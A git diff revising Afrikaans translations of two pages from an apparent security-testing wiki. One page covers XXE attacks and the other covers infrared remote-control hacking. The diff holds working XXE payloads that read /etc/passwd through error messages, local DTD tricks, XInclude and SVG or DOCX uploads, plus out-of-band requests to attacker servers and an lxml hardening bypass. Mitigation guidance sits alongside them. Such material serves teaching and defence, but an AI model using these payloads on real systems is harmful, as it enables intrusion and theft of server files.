2. 'n XML parameterentiteit genaamd `eval` word gedefinieer, wat 'n dinamiese verklaring vir 'n ander XML parameterentiteit genaamd `error` inkorporeer. Hierdie `error` entiteit, wanneer geëvalueer, probeer om 'n nie-bestaande lêer te laai, wat die inhoud van die `file` entiteit as sy naam inkorporeer.
|
||||
3. Die `eval` entiteit word aangeroep, wat lei tot die dinamiese verklaring van die `error` entiteit.
|
||||
4. Aangroeping van die `error` entiteit lei tot 'n poging om 'n nie-bestaande lêer te laai, wat 'n foutboodskap produseer wat die inhoud van die `/etc/passwd` lêer as deel van die lêernaam insluit.
|
||||
4. Aanspreking van die `error` entiteit lei tot 'n poging om 'n nie-bestaande lêer te laai, wat 'n foutboodskap produseer wat die inhoud van die `/etc/passwd` lêer as deel van die lêernaam insluit.
|
||||
|
||||
Die kwaadwillige eksterne DTD kan geaktiveer word met die volgende XML:
|
||||
```xml
|
||||
@ -150,9 +150,9 @@ _**Neem asseblief kennis dat eksterne DTD ons toelaat om een entiteit binne die
|
||||
|
||||
So wat van blinde XXE kwesbaarhede wanneer **uit-baan interaksies geblokkeer is** (eksterne verbindings is nie beskikbaar nie)?
|
||||
|
||||
'n Gaping in die XML-taal spesifikasie kan **sensitiewe data blootstel deur foutboodskappe wanneer 'n dokument se DTD interne en eksterne verklarings meng**. Hierdie probleem laat die interne herdefinisie van entiteite wat eksterne verklaar is toe, wat die uitvoering van foutgebaseerde XXE-aanvalle fasiliteer. Sulke aanvalle benut die herdefinisie van 'n XML parameterentiteit, oorspronklik verklaar in 'n eksterne DTD, van binne 'n interne DTD. Wanneer uit-baan verbindings deur die bediener geblokkeer word, moet aanvallers staatmaak op plaaslike DTD-lêers om die aanval uit te voer, met die doel om 'n ontledingsfout te veroorsaak om sensitiewe inligting te onthul.
|
||||
'n Gaping in die XML-taal spesifikasie kan **sensitiewe data blootstel deur foutboodskappe wanneer 'n dokument se DTD interne en eksterne verklarings meng**. Hierdie probleem laat die interne herdefinisie van entiteite wat eksterne verklaar is toe, wat die uitvoering van foutgebaseerde XXE-aanvalle fasiliteer. Sulke aanvalle benut die herdefinisie van 'n XML parameterentiteit, oorspronklik verklaar in 'n eksterne DTD, van binne 'n interne DTD. Wanneer uit-baan verbindings deur die bediener geblokkeer word, moet aanvallers op plaaslike DTD-lêers staatmaak om die aanval uit te voer, met die doel om 'n ontledingsfout te veroorsaak om sensitiewe inligting te onthul.
|
||||
|
||||
Overweeg 'n scenario waar die bediener se lêerstelsel 'n DTD-lêer bevat by `/usr/local/app/schema.dtd`, wat 'n entiteit genaamd `custom_entity` definieer. 'n Aanvaller kan 'n XML ontledingsfout veroorsaak wat die inhoud van die `/etc/passwd` lêer onthul deur 'n hibriede DTD soos volg in te dien:
|
||||
Overweeg 'n scenario waar die bediener se lêerstelsel 'n DTD-lêer by `/usr/local/app/schema.dtd` bevat, wat 'n entiteit genaamd `custom_entity` definieer. 'n Aanvaller kan 'n XML-ontledingsfout veroorsaak wat die inhoud van die `/etc/passwd`-lêer onthul deur 'n hibriede DTD soos volg in te dien:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||||
@ -188,7 +188,7 @@ Die uiteengesette stappe word deur hierdie DTD uitgevoer:
|
||||
```
|
||||
.png>)
|
||||
|
||||
Aangesien hierdie tegniek 'n **interne DTD gebruik, moet jy eers 'n geldige een vind**. Jy kan dit doen deur die **dieselfde OS / sagteware** wat die bediener gebruik te **installeer** en **sommige standaard DTD's** te **soek**, of deur 'n lys van **standaard DTD's** binne stelsels te **gryp** en te **kontroleer** of enige van hulle bestaan:
|
||||
Aangesien hierdie tegniek 'n **interne DTD gebruik, moet jy eers 'n geldige een vind**. Jy kan dit doen deur die **dieselfde OS / sagteware** te installeer wat die bediener gebruik en **sommige standaard DTDs** te soek, of **'n lys** van **standaard DTDs** in stelsels te verkry en **te kyk** of enige van hulle bestaan:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
@ -197,15 +197,15 @@ Aangesien hierdie tegniek 'n **interne DTD gebruik, moet jy eers 'n geldige een
|
||||
```
|
||||
Vir meer inligting, kyk na [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
### Vind DTD's binne die stelsel
|
||||
### Vind DTDs binne die stelsel
|
||||
|
||||
In die volgende wonderlike github repo kan jy **paaie van DTD's wat in die stelsel teenwoordig kan wees** vind:
|
||||
In die volgende wonderlike github repo kan jy **paaie van DTDs wat in die stelsel teenwoordig kan wees** vind:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/GoSecure/dtd-finder/tree/master/list
|
||||
{{#endref}}
|
||||
|
||||
Boonop, as jy die **Docker beeld van die slagoffer stelsel** het, kan jy die hulpmiddel van dieselfde repo gebruik om die **beeld** te **skandeer** en die pad van **DTD's** wat binne die stelsel teenwoordig is, te **vind**. Lees die [Readme van die github](https://github.com/GoSecure/dtd-finder) om te leer hoe.
|
||||
Boonop, as jy die **Docker beeld van die slagoffer stelsel** het, kan jy die hulpmiddel van dieselfde repo gebruik om die **beeld** te **skandeer** en die pad van **DTDs** wat binne die stelsel teenwoordig is, te **vind**. Lees die [Readme van die github](https://github.com/GoSecure/dtd-finder) om te leer hoe.
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
@ -221,13 +221,13 @@ Testing 0 entities : []
|
||||
|
||||
Vir 'n meer diepgaande verduideliking van hierdie aanval, **kyk na die tweede afdeling van** [**hierdie wonderlike pos**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **van Detectify**.
|
||||
|
||||
Die vermoë om **Microsoft Office-dokumente op te laai, word deur baie webtoepassings aangebied**, wat dan voortgaan om sekere besonderhede uit hierdie dokumente te onttrek. Byvoorbeeld, 'n webtoepassing mag gebruikers toelaat om data in te voer deur 'n XLSX-formaat sigblad op te laai. Ten einde vir die parser om die data uit die sigblad te onttrek, sal dit onvermydelik ten minste een XML-lêer moet parse.
|
||||
Die vermoë om **Microsoft Office-dokumente op te laai, word deur baie webtoepassings aangebied**, wat dan voortgaan om sekere besonderhede uit hierdie dokumente te onttrek. Byvoorbeeld, 'n webtoepassing mag gebruikers toelaat om data in te voer deur 'n XLSX-formaat sigblad op te laai. Ten einde vir die parser moontlik te wees om die data uit die sigblad te onttrek, sal dit onvermydelik nodig wees om ten minste een XML-lêer te parse.
|
||||
|
||||
Om vir hierdie kwesbaarheid te toets, is dit nodig om 'n **Microsoft Office-lêer wat 'n XXE-payload bevat, te skep**. Die eerste stap is om 'n leë gids te skep waaraan die dokument ontpak kan word.
|
||||
Om vir hierdie kwesbaarheid te toets, is dit nodig om 'n **Microsoft Office-lêer wat 'n XXE-payload bevat, te skep**. Die eerste stap is om 'n leë gids te skep waaraan die dokument ontzip kan word.
|
||||
|
||||
Sodra die dokument ontpak is, moet die XML-lêer geleë by `./unzipped/word/document.xml` geopen en in 'n verkiesde teksredigeerder (soos vim) gewysig word. Die XML moet gewysig word om die verlangde XXE-payload in te sluit, wat dikwels met 'n HTTP-versoek begin.
|
||||
Sodra die dokument ontzip is, moet die XML-lêer geleë by `./unzipped/word/document.xml` geopen en in 'n verkiesde teksredigeerder (soos vim) gewysig word. Die XML moet gewysig word om die verlangde XXE-payload in te sluit, wat dikwels met 'n HTTP-versoek begin.
|
||||
|
||||
Die gewysigde XML-lyne moet tussen die twee wortel-XML-objekte ingevoeg word. Dit is belangrik om die URL met 'n monitorbare URL vir versoeke te vervang.
|
||||
Die gewysigde XML-lyne moet tussen die twee wortel-XML-objekte ingevoeg word. Dit is belangrik om die URL te vervang met 'n monitorbare URL vir versoeke.
|
||||
|
||||
Laastens kan die lêer gezip word om die kwaadwillige poc.docx-lêer te skep. Vanuit die voorheen geskepte "unzipped" gids, moet die volgende opdrag uitgevoer word:
|
||||
|
||||
@ -241,11 +241,11 @@ jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Om toegang te verkry tot lêers binne PKZIP-lêers is **uiters nuttig om XXE via stelsels DTD-lêers te misbruik.** Kyk [hierdie afdeling om te leer hoe om stelsels DTD-lêers te misbruik](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
> Om toegang te verkry tot lêers binne PKZIP-lêers is **baie nuttig om XXE via stelsels DTD-lêers te misbruik.** Kyk [hierdie afdeling om te leer hoe om stelsels DTD-lêers te misbruik](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
|
||||
Die proses agter die toegang tot 'n lêer binne 'n PKZIP-argief via die jar-protokol behels verskeie stappe:
|
||||
|
||||
1. 'n HTTP-versoek word gemaak om die zip-argief van 'n gespesifiseerde ligging af te aflaai, soos `https://download.website.com/archive.zip`.
|
||||
1. 'n HTTP-versoek word gemaak om die zip-argief van 'n gespesifiseerde ligging af te laai, soos `https://download.website.com/archive.zip`.
|
||||
2. Die HTTP-antwoord wat die argief bevat, word tydelik op die stelsel gestoor, tipies in 'n ligging soos `/tmp/...`.
|
||||
3. Die argief word dan onttrek om toegang tot sy inhoud te verkry.
|
||||
4. Die spesifieke lêer binne die argief, `file.zip`, word gelees.
|
||||
@ -306,11 +306,11 @@ en deur die volgende versoek te stuur
|
||||
```
|
||||
Then you can try to crack the hash using hashcat
|
||||
|
||||
## Hidden XXE Surfaces
|
||||
## Verborgen XXE Oppervlakke
|
||||
|
||||
### XInclude
|
||||
|
||||
Wanneer kliëntdata in server-kant XML-dokumente geïntegreer word, soos dié in agtergrond SOAP-versoeke, is direkte beheer oor die XML-struktuur dikwels beperk, wat tradisionele XXE-aanvalle bemoeilik weens beperkings op die wysiging van die `DOCTYPE` element. 'n `XInclude` aanval bied egter 'n oplossing deur die invoeging van eksterne entiteite binne enige data-element van die XML-dokument toe te laat. Hierdie metode is effektief selfs wanneer slegs 'n gedeelte van die data binne 'n deur die bediener gegenereerde XML-dokument beheer kan word.
|
||||
Wanneer kliëntdata in server-kant XML-dokumente geïntegreer word, soos dié in agtergrond SOAP versoeke, is direkte beheer oor die XML-struktuur dikwels beperk, wat tradisionele XXE-aanvalle bemoeilik weens beperkings op die wysiging van die `DOCTYPE` element. 'n `XInclude` aanval bied egter 'n oplossing deur die invoeging van eksterne entiteite binne enige data-element van die XML-dokument toe te laat. Hierdie metode is effektief selfs wanneer slegs 'n gedeelte van die data binne 'n deur die bediener gegenereerde XML-dokument beheer kan word.
|
||||
|
||||
Om 'n `XInclude` aanval uit te voer, moet die `XInclude` naamruimte verklaar word, en die lêerpad vir die beoogde eksterne entiteit moet gespesifiseer word. Hieronder is 'n bondige voorbeeld van hoe so 'n aanval geformuleer kan word:
|
||||
```xml
|
||||
@ -320,9 +320,9 @@ Kontrollere [https://portswigger.net/web-security/xxe](https://portswigger.net/w
|
||||
|
||||
### SVG - Lêeroplaai
|
||||
|
||||
Lêers wat deur gebruikers na sekere toepassings opgelaai word, wat dan op die bediener verwerk word, kan kwesbaarhede in hoe XML of XML-bevat lêerformate hanteer word, benut. Algemene lêerformate soos kantoor dokumente (DOCX) en beelde (SVG) is gebaseer op XML.
|
||||
Lêers wat deur gebruikers na sekere toepassings opgelaai word, wat dan op die bediener verwerk word, kan kwesbaarhede in hoe XML of XML-bevatte lêerformate hanteer word, benut. Algemene lêerformate soos kantoor dokumente (DOCX) en beelde (SVG) is gebaseer op XML.
|
||||
|
||||
Wanneer gebruikers **beelde oplaai**, word hierdie beelde bediener-kant verwerk of geverifieer. Selfs vir toepassings wat formate soos PNG of JPEG verwag, kan die **bediener se beeldverwerkingsbiblioteek ook SVG-beelde ondersteun**. SVG, as 'n XML-gebaseerde formaat, kan deur aanvallers benut word om kwaadwillige SVG-beelde in te dien, wat die bediener blootstel aan XXE (XML External Entity) kwesbaarhede.
|
||||
Wanneer gebruikers **beelde oplaai**, word hierdie beelde bediener-kant verwerk of gevalideer. Selfs vir toepassings wat formate soos PNG of JPEG verwag, mag die **bediener se beeldverwerkingsbiblioteek ook SVG-beelde ondersteun**. SVG, as 'n XML-gebaseerde formaat, kan deur aanvallers benut word om kwaadwillige SVG-beelde in te dien, wat die bediener blootstel aan XXE (XML External Entity) kwesbaarhede.
|
||||
|
||||
'n Voorbeeld van so 'n uitbuiting word hieronder getoon, waar 'n kwaadwillige SVG-beeld probeer om stelsellêers te lees:
|
||||
```xml
|
||||
@ -368,7 +368,7 @@ Content-Length: 52
|
||||
```
|
||||
### Content-Type: Van JSON na XEE
|
||||
|
||||
Om die versoek te verander, kan jy 'n Burp-uitbreiding genaamd “**Content Type Converter**“ gebruik. [Hier](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) kan jy hierdie voorbeeld vind:
|
||||
Om die versoek te verander, kan jy 'n Burp-uitbreiding gebruik genaamd “**Content Type Converter**“. [Hier](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) kan jy hierdie voorbeeld vind:
|
||||
```xml
|
||||
Content-Type: application/json;charset=UTF-8
|
||||
|
||||
@ -478,7 +478,7 @@ Hierdie voorbeeld is geïnspireer deur [https://pwn.vg/articles/2021-06/local-fi
|
||||
|
||||
XLIFF (XML Lokaliseringsuitruilformaat) word gebruik om data-uitruil in lokaliseringsprosesse te standaardiseer. Dit is 'n XML-gebaseerde formaat wat hoofsaaklik gebruik word om lokaliseerbare data tussen gereedskap tydens lokaliseringsprosesse oor te dra en as 'n algemene uitruilformaat vir CAT (Rekenaarondersteunde Vertaling) gereedskap.
|
||||
|
||||
### Blind Request Analise
|
||||
### Blind Versoekanalise
|
||||
|
||||
'n Versoek word aan die bediener gemaak met die volgende inhoud:
|
||||
```xml
|
||||
@ -514,9 +514,9 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Hierdie benadering onthul dat die User Agent die gebruik van Java 1.8 aandui. 'n Opgemerk beperking met hierdie weergawe van Java is die onvermoë om lêers wat 'n nuwe reël karakter bevat, soos /etc/passwd, te verkry met die Out of Band tegniek.
|
||||
Hierdie benadering onthul dat die User Agent die gebruik van Java 1.8 aandui. 'n Aangetekende beperking met hierdie weergawe van Java is die onmoontlikheid om lêers wat 'n nuwe reël karakter bevat, soos /etc/passwd, te verkry met die Out of Band tegniek.
|
||||
|
||||
Error-Based Data Exfiltration Om hierdie beperking te oorkom, word 'n Error-Based benadering gebruik. Die DTD-lêer is as volg gestruktureer om 'n fout te aktiveer wat data van 'n teikendlêer insluit:
|
||||
Foutgebaseerde Data Eksfiltrasie Om hierdie beperking te oorkom, word 'n Foutgebaseerde benadering gebruik. Die DTD-lêer is soos volg gestruktureer om 'n fout te ontlok wat data van 'n teikendlêer insluit:
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
||||
@ -534,15 +534,15 @@ Om die lêer se inhoud in die foutboodskap in te sluit, word die DTD-lêer aange
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Hierdie wysiging lei tot die suksesvolle eksfiltrasie van die lêer se inhoud, soos dit weerspieël word in die foutuitset wat via HTTP gestuur word. Dit dui op 'n suksesvolle XXE (XML External Entity) aanval, wat beide Out of Band en Error-Based tegnieke benut om sensitiewe inligting te onttrek.
|
||||
Hierdie wysiging lei tot die suksesvolle eksfiltrasie van die lêer se inhoud, soos dit in die foutuitset wat via HTTP gestuur word, weerspieël word. Dit dui op 'n suksesvolle XXE (XML Externe Entiteit) aanval, wat beide Out of Band en Fout-gebaseerde tegnieke benut om sensitiewe inligting te onttrek.
|
||||
|
||||
## RSS - XEE
|
||||
|
||||
Geldige XML met RSS-formaat om 'n XXE kwesbaarheid te benut.
|
||||
|
||||
### Ping back
|
||||
### Ping terug
|
||||
|
||||
Eenvoudige HTTP-versoek na die aanvallers bediener
|
||||
Eenvoudige HTTP-versoek na die aanvallersbediener
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
@ -691,9 +691,9 @@ https://github.com/luisfontes19/xxexploiter
|
||||
2. Stel 'n interne DTD saam wat:
|
||||
* Die plaaslike DTD laai met `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
|
||||
* Die onbeskryfde entiteit herdefinieer sodat dit:
|
||||
- Die teikenlêer lees (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
|
||||
- Die teikend lêer lees (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
|
||||
- 'n Ander parameter entiteit bou wat na 'n **ongeldige pad** verwys wat die `%flag;` waarde bevat en 'n parser fout veroorsaak (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
|
||||
3. Laastens, brei `%local_dtd;` en `%eval;` uit sodat die parser `%error;` teëkom, misluk om `/aaa/<FLAG>` te open en die vlag binne die gegooi uitsondering lek – wat dikwels aan die gebruiker deur die toepassing teruggestuur word.
|
||||
3. Brei uiteindelik `%local_dtd;` en `%eval;` uit sodat die parser `%error;` teëkom, misluk om `/aaa/<FLAG>` te open en die vlag binne die gegooi uitsondering lek – wat dikwels aan die gebruiker deur die toepassing teruggestuur word.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
|
||||
@ -704,12 +704,12 @@ https://github.com/luisfontes19/xxexploiter
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
Wanneer die toepassing die uitsondering druk, bevat die antwoord:
|
||||
Wanneer die aansoek die uitsondering druk, bevat die antwoord:
|
||||
```
|
||||
Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
```
|
||||
> [!TIP]
|
||||
> As die parser kla oor `%`/`&` karakters binne die interne subset, kodeer hulle dubbel (`&#x25;` ⇒ `%`) om uitbreiding te vertraag.
|
||||
> As die parser kla oor `%`/`&` karakters binne die interne subset, kodeer dit dubbel (`&#x25;` ⇒ `%`) om uitbreiding te vertraag.
|
||||
|
||||
#### 2. Om die lxml 5.4.0 verharding te omseil (libxml2 steeds kwesbaar)
|
||||
`lxml` ≥ 5.4.0 verbied *error* parameter entiteite soos die een hierbo, maar **libxml2** laat steeds toe dat hulle in 'n *algemene* entiteit ingebed word. Die truuk is om:
|
||||
@ -729,7 +729,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
#### Sleutelafleidings
|
||||
* **Parameter entiteite** word steeds deur libxml2 uitgebrei, selfs wanneer `resolve_entities` XXE moet blokkeer.
|
||||
* 'n **Ongeldige URI** of **nie-bestaande lêer** is genoeg om beheerde data in die gegooi uitsondering te konkateneer.
|
||||
* Die tegniek werk **sonder buitelandse konnektiwiteit**, wat dit ideaal maak vir streng uitgangs-gefilterde omgewings.
|
||||
* Die tegniek werk **sonder buiteverbinding**, wat dit ideaal maak vir streng uitgangs-gefilterde omgewings.
|
||||
|
||||
#### Versagtingsriglyne
|
||||
* Opgradeer na **lxml ≥ 5.4.0** en verseker dat die onderliggende **libxml2** **≥ 2.13.8** is.
|
||||
@ -738,7 +738,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
|
||||
### Java DocumentBuilderFactory versterking voorbeeld
|
||||
|
||||
Java-toepassings parseer dikwels XML met `DocumentBuilderFactory`. Standaard laat die fabriek **buitelandse entiteit resolusie toe**, wat dit kwesbaar maak vir XXE en SSRF as daar geen addisionele versterkingsvlagte ingestel is nie:
|
||||
Java-toepassings parseer dikwels XML met behulp van `DocumentBuilderFactory`. Standaard laat die fabriek **buitelandige entiteit resolusie toe**, wat dit kwesbaar maak vir XXE en SSRF as daar geen addisionele versterkingsvlagte ingestel is nie:
|
||||
```java
|
||||
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
|
||||
@ -765,7 +765,7 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
```
|
||||
As die aansoek DTD's intern moet ondersteun, hou `disallow-doctype-decl` gedeaktiveer, maar **laat altyd** die twee `external-*-entities` funksies op `false` gestel. Die kombinasie voorkom klassieke lêer-blootstelling payloads (`file:///etc/passwd`) sowel as netwerk-gebaseerde SSRF vektore (`http://169.254.169.254/…`, `jar:` protokol, ens.).
|
||||
|
||||
Werklike gevalstudie: **CVE-2025-27136** in die Java S3 emulators *LocalS3* het die kwesbare konstruktors hierbo gebruik. 'n Onauthentieke aanvaller kon 'n vervaardigde XML liggaam aan die `CreateBucketConfiguration` eindpunt verskaf en die bediener laat plaaslike lêers (byvoorbeeld `/etc/passwd`) in die HTTP antwoord inkorporeer.
|
||||
Werklike gevalstudie: **CVE-2025-27136** in die Java S3 emulators *LocalS3* het die kwesbare konstruktors hierbo gebruik. 'n Onauthentieke aanvaller kon 'n vervaardigde XML-liggaam aan die `CreateBucketConfiguration` eindpunt verskaf en die bediener laat plaaslike lêers (byvoorbeeld `/etc/passwd`) in die HTTP-antwoord inkorporeer.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## Hoe die Infrarooi Werk <a href="#how-the-infrared-port-works" id="how-the-infrared-port-works"></a>
|
||||
|
||||
**Infrarooi lig is onsigbaar vir mense**. IR golflengte is van **0.7 tot 1000 mikron**. Huishoudelike afstandsbedienings gebruik 'n IR sein vir datatransmissie en werk in die golflengte-reeks van 0.75..1.4 mikron. 'n Mikrocontroller in die afstandsbediening laat 'n infrarooi LED flits met 'n spesifieke frekwensie, wat die digitale sein in 'n IR sein omskakel.
|
||||
**Infrarooi lig is onsigbaar vir mense**. IR golflengte is van **0.7 tot 1000 mikron**. Huishoudelike afstandsbedienings gebruik 'n IR sein vir datatransmissie en werk in die golflengte reeks van 0.75..1.4 mikron. 'n Mikrocontroller in die afstandsbediening laat 'n infrarooi LED flits met 'n spesifieke frekwensie, wat die digitale sein in 'n IR sein omskakel.
|
||||
|
||||
Om IR seine te ontvang, word 'n **fotoreceiver** gebruik. Dit **omskakel IR lig in spanning pulsies**, wat reeds **digitale seine** is. Gewoonlik is daar 'n **donker ligfilter binne die ontvanger**, wat **slegs die gewenste golflengte deurlaat** en geraas uitsny.
|
||||
Om IR seine te ontvang, word 'n **fotoreceiver** gebruik. Dit **omskakel IR lig in spanning pulsasies**, wat reeds **digitale seine** is. Gewoonlik is daar 'n **donker ligfilter binne die ontvanger**, wat **slegs die gewenste golflengte deurlaat** en geraas uitsny.
|
||||
|
||||
### Verskeidenheid van IR Protokolle <a href="#variety-of-ir-protocols" id="variety-of-ir-protocols"></a>
|
||||
|
||||
@ -20,19 +20,19 @@ IR protokolle verskil in 3 faktore:
|
||||
|
||||
**1. Pulsafstand Kodering**
|
||||
|
||||
Bits word gekodeer deur die duur van die ruimte tussen pulsies te moduler. Die breedte van die puls self is konstant.
|
||||
Bits word gekodeer deur die duur van die spasie tussen pulss te moduler. Die breedte van die puls self is konstant.
|
||||
|
||||
<figure><img src="../../images/image (295).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2. Pulsbreedte Kodering**
|
||||
|
||||
Bits word gekodeer deur die pulsbreedte te moduler. Die breedte van die ruimte na die pulsuitbarsting is konstant.
|
||||
Bits word gekodeer deur die modulering van die pulsbreedte. Die breedte van die spasie na die pulsuitbarsting is konstant.
|
||||
|
||||
<figure><img src="../../images/image (282).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**3. Fase Kodering**
|
||||
|
||||
Dit is ook bekend as Manchester kodering. Die logiese waarde word gedefinieer deur die polariteit van die oorgang tussen pulsuitbarsting en ruimte. "Ruimte na pulsuitbarsting" dui logika "0" aan, "pulsuitbarsting na ruimte" dui logika "1" aan.
|
||||
Dit is ook bekend as Manchester kodering. Die logiese waarde word gedefinieer deur die polariteit van die oorgang tussen pulsuitbarsting en spasie. "Spasie na pulsuitbarsting" dui logika "0" aan, "pulsuitbarsting na spasie" dui logika "1" aan.
|
||||
|
||||
<figure><img src="../../images/image (634).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -64,7 +64,7 @@ Vir **logika "0" en "1"** gebruik NEC Pulsafstand Kodering: eerstens word 'n pul
|
||||
### Lugversorgers
|
||||
|
||||
In teenstelling met ander afstandsbedienings, **stuur lugversorgers nie net die kode van die ingedrukte knoppie nie**. Hulle **stuur ook al die inligting** wanneer 'n knoppie ingedruk word om te verseker dat die **lugversorgingsmasjien en die afstandsbediening gesinchroniseer is**.\
|
||||
Dit sal verhoed dat 'n masjien wat op 20ºC gestel is, verhoog word na 21ºC met een afstandsbediening, en dan wanneer 'n ander afstandsbediening, wat steeds die temperatuur as 20ºC het, gebruik word om die temperatuur verder te verhoog, dit "verhoog" na 21ºC (en nie na 22ºC nie, dinkend dit is op 21ºC).
|
||||
Dit sal verhoed dat 'n masjien wat op 20ºC gestel is, verhoog word na 21ºC met een afstandsbediening, en dan wanneer 'n ander afstandsbediening, wat steeds die temperatuur as 20ºC het, gebruik word om die temperatuur verder te verhoog, dit "verhoog" dit na 21ºC (en nie na 22ºC nie, dinkend dit is op 21ºC).
|
||||
|
||||
---
|
||||
|
||||
@ -80,19 +80,19 @@ flipper-zero/fz-infrared.md
|
||||
|
||||
Onlangse akademiese werk (EvilScreen, 2022) het getoon dat **multikanal afstandsbedienings wat Infrarooi met Bluetooth of Wi-Fi kombineer, misbruik kan word om moderne slim-TV's volledig oor te neem**. Die aanvalkettings verbind hoëprivilege IR dienskode saam met geverifieerde Bluetooth-pakkette, wat kanaal-isolasie omseil en willekeurige app-lancering, mikrofoonaktivering, of fabrieksherstel sonder fisiese toegang toelaat. Agt hoofstroom-TV's van verskillende verskaffers — insluitend 'n Samsung-model wat ISO/IEC 27001-nakoming beweer — is bevestig as kwesbaar. Mitigering vereis verskaffer firmware regstellings of die heeltemal deaktiveer van ongebruikte IR ontvangers.
|
||||
|
||||
### Lug-Gap Data Ekstraksie via IR LEDs (aIR-Jumper familie)
|
||||
### Lug-Gepaste Data Uitsending via IR LEDs (aIR-Jumper familie)
|
||||
|
||||
Sekuriteitskameras, routers of selfs kwaadwillige USB-sticks sluit dikwels **nagvisie IR LEDs** in. Navorsing toon dat malware hierdie LEDs kan moduler (<10–20 kbit/s met eenvoudige OOK) om **geheime deur mure en vensters te ekstrak** na 'n eksterne kamera wat tien meter weg geplaas is. Omdat die lig buite die sigbare spektrum is, merk operateurs selde op. Teenmaatreëls:
|
||||
Sekuriteitskameras, routers of selfs kwaadwillige USB-sticks sluit dikwels **nagvisie IR LEDs** in. Navorsing toon dat malware hierdie LEDs kan moduler (<10–20 kbit/s met eenvoudige OOK) om **geheime deur mure en vensters uit te stuur** na 'n eksterne kamera wat tien meter weg geplaas is. Omdat die lig buite die sigbare spektrum is, merk operateurs selde dit op. Teenmaatreëls:
|
||||
|
||||
* Fisies beskerm of verwyder IR LEDs in sensitiewe areas
|
||||
* Monitor kamera LED pligsyklus en firmware integriteit
|
||||
* Plaas IR-snyfilters op vensters en toesighoudende kameras
|
||||
* Plaas IR-snyfilters op vensters en toesigkameras
|
||||
|
||||
'n Aanvaller kan ook sterk IR projekteerders gebruik om **opdragte** in die netwerk in te voer deur data terug te flits na onveilige kameras.
|
||||
'n Aanvaller kan ook sterk IR projekteerders gebruik om **opdragte** in die netwerk in te voer deur data terug na onveilige kameras te flits.
|
||||
|
||||
### Langafstand Brute-Force & Uitgebreide Protokolle met Flipper Zero 1.0
|
||||
|
||||
Firmware 1.0 (September 2024) het **tientalle ekstra IR protokolle en opsionele eksterne versterkermodules** bygevoeg. Gecombineer met die universele-afstandsbediening brute-force modus, kan 'n Flipper die meeste openbare TV's/AC's tot 30 m van 'n hoëkragdiode deaktiveer of herkonfigureer.
|
||||
Firmware 1.0 (September 2024) het **tientalle ekstra IR protokolle en opsionele eksterne versterkermodules** bygevoeg. Gekombineer met die universele-afstandsbediening brute-force modus, kan 'n Flipper die meeste openbare TV's/AC's tot 30 m van 'n hoëkragdiode deaktiveer of herkonfigureer.
|
||||
|
||||
---
|
||||
|
||||
@ -101,13 +101,13 @@ Firmware 1.0 (September 2024) het **tientalle ekstra IR protokolle en opsionele
|
||||
### Hardeware
|
||||
|
||||
* **Flipper Zero** – draagbare transceiver met leer-, herhaal- en woordeboek-brute-force modi (sien hierbo).
|
||||
* **Arduino / ESP32** + IR LED / TSOP38xx ontvanger – goedkoop DIY ontleder/ transmitter. Kombineer met die `Arduino-IRremote` biblioteek (v4.x ondersteun >40 protokolle).
|
||||
* **Arduino / ESP32** + IR LED / TSOP38xx ontvanger – goedkoop DIY ontleder/uitzender. Kombineer met die `Arduino-IRremote` biblioteek (v4.x ondersteun >40 protokolle).
|
||||
* **Logika ontleders** (Saleae/FX2) – vang rou tyds wanneer protokol onbekend is.
|
||||
* **Slimfone met IR-blaster** (bv. Xiaomi) – vinnige veldtoets maar beperkte reeks.
|
||||
|
||||
### Sagteware
|
||||
|
||||
* **`Arduino-IRremote`** – aktief-onderhoude C++ biblioteek:
|
||||
* **`Arduino-IRremote`** – aktief onderhoude C++ biblioteek:
|
||||
```cpp
|
||||
#include <IRremote.hpp>
|
||||
IRsend sender;
|
||||
@ -117,10 +117,10 @@ sender.sendNEC(0x20DF10EF, 32); // Samsung TV Krag
|
||||
delay(5000);
|
||||
}
|
